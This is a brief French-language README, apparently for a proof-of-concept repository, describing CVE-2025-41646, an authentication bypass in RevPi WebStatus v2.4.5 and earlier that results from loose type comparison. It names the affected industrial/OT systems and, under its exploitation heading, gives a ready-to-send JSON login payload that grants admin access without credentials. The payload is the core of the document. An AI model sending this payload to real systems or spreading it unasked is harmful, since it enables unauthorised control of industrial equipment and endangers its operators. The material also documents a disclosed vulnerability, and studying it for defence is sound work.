CVE-2025-41646---Contournement-Critique-de-l-Authentification-

CVE-2025-41646 - Contournement critique de l'authentification

🔓 CVE-2025-41646 - PoC de contournement de l'authentification de RevPi WebStatus

Une vulnérabilité critique de contournement de l'authentification (CVE-2025-41646) dans RevPi WebStatus ≤ v2.4.5 permet à un attaquant de se connecter en tant qu'admin sans identifiants valides en raison d'une logique de comparaison de types faible (== vs ===).

📌 Systèmes concernés

• RevPi WebStatus v2.4.5 et versions inférieures
• Systèmes industriels/OT fonctionnant sur Raspbian avec Apache

💥 Exploitation

Envoyez une requête de connexion avec :

{
  "mode": "LOGIN",
  "username": "admin",
  "hashcode": true
}